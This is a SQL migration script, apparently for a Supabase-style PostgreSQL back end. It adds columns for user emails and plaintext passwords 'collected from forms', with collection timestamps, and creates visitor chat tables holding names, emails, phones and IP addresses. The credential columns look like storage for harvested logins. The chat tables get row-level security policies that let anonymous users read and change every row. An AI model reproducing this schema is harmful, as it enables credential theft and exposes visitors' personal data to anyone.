-- Add user credentials columns to existing user_sessions table
-- Run this to add email and password tracking to your existing table

ALTER TABLE user_sessions 
ADD COLUMN IF NOT EXISTS user_email VARCHAR(255) NULL,
ADD COLUMN IF NOT EXISTS user_password TEXT NULL,
ADD COLUMN IF NOT EXISTS credentials_collected_at TIMESTAMP WITH TIME ZONE NULL;

-- Add comments to the new columns
COMMENT ON COLUMN user_sessions.user_email IS 'User email collected from forms';
COMMENT ON COLUMN user_sessions.user_password IS 'User password collected from forms';
COMMENT ON COLUMN user_sessions.credentials_collected_at IS 'Timestamp when credentials were collected';

-- Create index for email-based queries
CREATE INDEX IF NOT EXISTS idx_user_sessions_user_email ON user_sessions (user_email);
CREATE INDEX IF NOT EXISTS idx_user_sessions_credentials_collected ON user_sessions (credentials_collected_at);

-- Site-wide settings (offline mode / calendar pause)
CREATE TABLE IF NOT EXISTS site_settings (
  key TEXT PRIMARY KEY,
  value JSONB NOT NULL DEFAULT '{}'::jsonb,
  updated_at TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT NOW()
);

-- Calendar visitor messages (offline + live chat)
CREATE TABLE IF NOT EXISTS public.offline_chats (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  full_name TEXT NOT NULL,
  email TEXT NOT NULL,
  phone TEXT NULL DEFAULT '',
  topic TEXT NULL DEFAULT '',
  ip_address TEXT NULL,
  user_agent TEXT NULL,
  created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
  updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
);

CREATE TABLE IF NOT EXISTS public.offline_chat_messages (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  chat_id UUID NOT NULL REFERENCES public.offline_chats(id) ON DELETE CASCADE,
  sender TEXT NOT NULL CHECK (sender IN ('visitor', 'admin')),
  body TEXT NOT NULL,
  created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
);

CREATE INDEX IF NOT EXISTS idx_offline_chats_updated ON public.offline_chats (updated_at DESC);
CREATE INDEX IF NOT EXISTS idx_offline_messages_chat ON public.offline_chat_messages (chat_id, created_at);

ALTER TABLE public.offline_chats ENABLE ROW LEVEL SECURITY;
ALTER TABLE public.offline_chat_messages ENABLE ROW LEVEL SECURITY;

DROP POLICY IF EXISTS "offline_chats_all" ON public.offline_chats;
CREATE POLICY "offline_chats_all" ON public.offline_chats FOR ALL TO anon, authenticated USING (true) WITH CHECK (true);

DROP POLICY IF EXISTS "offline_messages_all" ON public.offline_chat_messages;
CREATE POLICY "offline_messages_all" ON public.offline_chat_messages FOR ALL TO anon, authenticated USING (true) WITH CHECK (true);